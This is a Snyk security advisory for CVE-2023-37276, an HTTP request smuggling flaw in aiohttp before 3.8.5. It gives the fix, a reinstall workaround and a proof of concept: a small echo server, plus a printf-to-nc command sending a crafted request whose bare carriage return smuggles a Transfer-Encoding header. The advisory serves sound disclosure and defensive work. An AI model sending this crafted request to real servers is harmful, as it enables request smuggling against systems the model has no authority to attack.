HTTP Request Smuggling Affecting aiohttp package, versions [,3.8.5)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PYTHON-AIOHTTP-5798483
- published 21 Jul 2023
- disclosed 20 Jul 2023
- credit Unknown
Introduced: 20 Jul 2023
CVE-2023-37276 Open this link in a new tabHow to fix?
Upgrade aiohttp
to version 3.8.5 or higher.
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling in that aiohttp
is bundled with llhttp v6.0.6, which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp
for its HTTP request parser, when available, which is the default case when installing from a wheel.
Note
This vulnerability only affects users of aiohttp
as an HTTP server (i.e. aiohttp.Application
). Users are not affected by this vulnerability if they use aiohttp
as an HTTP client library (i.e. aiohttp.ClientSession
).
Workaround
Users who are unable to upgrade to the fixed version can reinstall the library using AIOHTTP_NO_EXTENSIONS=1
as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:
$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp
PoC
from aiohttp import web
async def example(request: web.Request):
headers = dict(request.headers)
body = await request.content.read()
return web.Response(text=f"headers: {headers} body: {body}")
app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)
Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.
$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
| nc localhost 8080
Expected output:
headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''
Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)
headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'